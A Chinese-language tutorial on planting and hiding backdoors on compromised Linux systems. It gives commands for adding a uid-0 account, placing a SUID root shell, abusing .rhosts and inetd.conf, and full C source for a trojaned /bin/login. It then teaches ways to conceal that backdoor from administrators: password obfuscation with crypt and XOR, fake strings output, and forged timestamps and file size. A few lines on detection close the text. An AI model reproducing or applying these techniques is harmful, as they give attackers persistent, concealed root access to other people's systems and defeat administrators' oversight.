Linux 后门技术及实践

入侵者完全控制系统后，为方便下次进入而采用的一种技术。一般通过修改系统配置文件和安装第三方后门工具来实现。具有隐蔽性，能绕开系统日志，不易被系统管理员发现等特点。

常用后门技术

增加超级用户账号

破解/嗅探用户密码

放置 SUID Shell

rhosts + +

利用系统服务程序

TCP/UDP/ICMP Shell

Crontab 定时任务

共享库文件

工具包 rootkit

可装载内核模块(LKM)

增加超级用户

```
# echo “e4gle:x:0:0::/:/bin/sh” >> /etc/passwd
# echo “e4gle::-1:-1:-1:-1:-1:-1:500” >> /etc/shadow
```

如果系统不允许 uid=0 的用户远程登录，还需要增加一个普通用户账号。

破解/嗅探用户密码

获得 shadow 文件后，用 John the Ripper 工具破解薄弱的用户密码。安装 sniffit 等嗅探工具，监听 telnet、ftp 等端口，收集用户密码。

放置 SUID Shell

```
# cp /bin/bash /dev/.rootshell # chmod u+s /dev/.rootshell
```

普通用户在本机运行/dev/.rootshell，即可获得一个 root 权限的 shell。

```
rhosts + + # echo “+ +” > /.rhosts # rsh -l root victim.com
 csh -i
```

远程可以得到一个 rootshell。

利用系统服务程序。

修改/etc/inetd.conf， daytime stream tcp nowait /bin/sh sh -I ；用 trojan 程序替换 in.telnetd、in.rexecd 等 inted 的服务程序，重定向 login 程序。

TCP/UDP/ICMP Shell

BindShell，大部分是基于 TCP/UDP 协议的网络服务程序，在高端口监听，很容易被发现。Ping Backdoor，通过 ICMP 包激活后门，形成一个 Shell 通道。TCP ACK 数据包后门，能够穿越防火墙。

Crontab 定时任务

通过 Crontab 程序调度已安装的后门程序定时运行，一般在深夜时段，是系统管理员不在线的时间。

共享库文件

在共享库中嵌入后门函数使用后门口令激活 Shell，获得权限能够躲避系统管理员对二进制文件本身的校验。

工具包 Rootkit

包含一系列系统及后门工具：

- 清除日志中的登录记录
- 伪装校验和
- 替换 netstat、ps 等网络工具
- 后门登录程序易于安装和使用

可装载内核模块(LKM)

LKM：Loadable Kernel Modules 动态的加载，不需要重新编译内核。

截获系统调用，具有隐藏目录、文件、进程、网络连接等强大功能。

自身隐蔽性好，发现难度较大。

著名的 LKM 包有 adore 和 knark。

后门的检测

以自己的经验，结合特定的工具，手工作一些检测。使用 Tripwire 或 md5 校验来检查系统。借助 IDS 系统，监听到目标机器的可疑网络连接。

实例：Login **后门**

入侵者先把原始的/bin/login 备份，再用一段程序替换/bin/login。入侵者 telnet 登录进来的时候，通过环境变量或者终端类型，传递了正确的后门密码，

将直接获得一个 Shell；如果是普通用户登录，将会重定向到原始的 login 文件，来处理正常的登录。

最简单的 login 后门 ulogin.c 源代码如下：

```
#include <stdio.h>
#define PASSWORD “passWORD”
#define _PATH_LOGIN “/sbin/logins”

main (argc, argv, envp)
int argc;
char **argv, **envp;
{   char *display = getenv(“DISPLAY”);
if ( display == NULL )
{    execve(_PATH_LOGIN, argv, envp);
perror(_PATH_LOGIN);
exit(1);   }
if (!strcmp(display,PASSWORD))
{    system(“/bin/csh”);    exit(1);   }
execve(_PATH_LOGIN, argv, envp);   exit(1); }
```

利用后门登录

首先 Telnet 服务是打开的，在自己机器上：

```
bash$ export DISPLAY=passWORD bash$ telnet victim.com Tryi
ng xxx.xxx.xxx.xxx… Connected to victim.com (xxx.xxx.xxx.
xxx). Escape character is ‘^]’. % _
```

Strings 命令

strings 命令能够打印出二进制文件中的可显示字符串，用于刚才的 ulogin 程序：

```
bash$ strings ulogin /lib/ld-linux.so.2 …….. DISPLAY /
sbin/logins passWORD /bin/csh
```

加密后门密码

1，采用 DES 算法，即 crypt( )函数，编写 gen.c 程序：

```
#include <unistd.h> main(int argc, char *argv[]) { if (argc
 != 3) { printf(“usage: %s <password> <salt>\n”, argv[0]);
 exit(1); } printf(“%s\n”, crypt(argv[1], argv[2])); }
```

2、编译为 gen，执行./gen hack ui，得到的 shadow 结果为 UiVqMWvDrI QjA。

3、修改后门源程序 ulogin.c：

— 以密文形式的密码代替 ulogin.c 中 define 的宏 PASSWORD 值。

— 如果后门密码正确，直接给出 Shell：

```
if (!strcmp(PASSWORD, crypt(display,PASSWORD))) { system(SHELL); exit(1); }
```

用 strings 命令只能看到加密过的密码。

采用异或（XOR）算法，以十六进制方式表示字符串，以达到 non- printable 的效果。

1、编码程序 encode.c 如下：

```
char magic[]=”\x71\x67\x6d\x7a\x65\x61\x7a”; char *de(char *str,char *key) { int i=0,j=0,len; len=strlen(key); while(str[i] != ‘\0’) { str[i]^=key[j]; j++; if(j==len) j=0; i++; } return str; } void display(char *str) { int i; for(i=0;i<strlen(str);i++) printf(“\\x%x”,str[i]); printf(“\n”); } main() { char gets[100], *ptr; ptr=gets; scanf (“%s”,ptr); de(ptr,magic);display(ptr); }
```

2、编译程序 encode，依次执行得到关键字符串与 magic 串异或后的结果，例如原始 login 的文件名/sbin/xlogin，经过异或后为：

```
\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb
```

3、在后门源代码中这样定义：

```
Char

login[]=”\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb”;
```

然后插入异或函数 char *de（）结合同一 magic 串，就能判断出正确的后门密码。

用 strings 命令看不到密码、路径等字符串了。

最后的修饰

使后门程序 ulogin 的 strings 输出类似于正常 login 的 strings 输出，做法为：

在 ulogin.c 代码中增加一个字符串数组 char strings[] =””;，在引号中填入正常 login 程序的 strings 输出结果。以假乱真，增加迷惑性。

调整后门程序的文件日期、大小等属性：

1、日期

```
# ls -l /sbin/xlogin
-r-sr-xr-x root root 19300 Feb 11 1998
/sbin/xlogin
#  touch -t 199802110000 ulogin
# _
```

2、调整大小

```
# ls -l ulogin /sbin/xlogin
-r-sr-xr-x root root 7542 Feb 11 1998 ulogin
-r-sr-xr-x root root 19300 Feb 11 1998 /sbin/xlogin
# bc
19300-7542
11758
# dd if=/sbin/xlogin of=/tmp/t bs=11758 count=1
1+0 records in
1+0 records out
11758 bytes transferred in 0.000379 secs (31016746
bytes/sec)
# cat /tmp/t >> ulogin
```

Login 后门的检测

使用命令 md5sum 对现有/bin/login 文件作校验，与以前的值作比较。

使用 Red Hat Linux 的 RPM 校验：

```
# rpm -V util-linux
```

在入侵者已经利用后门登录的情况下，who 是看不到用户的，查看系统进程，查找 login -h xxx.xxx.xxx.xxx 的字样。